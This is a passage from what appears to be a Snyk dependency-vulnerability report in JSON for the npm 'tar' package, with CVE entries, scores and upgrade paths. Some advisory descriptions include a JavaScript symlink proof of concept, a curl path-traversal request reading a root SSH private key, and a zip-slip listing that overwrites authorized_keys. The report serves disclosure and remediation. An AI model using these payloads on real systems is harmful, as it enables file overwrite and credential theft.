}).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.177166Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-09-02T02:01:15.540037Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.36353", "probability": "0.00439", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-02T02:01:15.540037Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-08-24T02:01:20.790850Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.16344", "probability": "0.00253", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T02:01:20.790850Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.224995Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35948", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:08.224995Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:08.177166Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.43872", "probability": "0.00556", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": 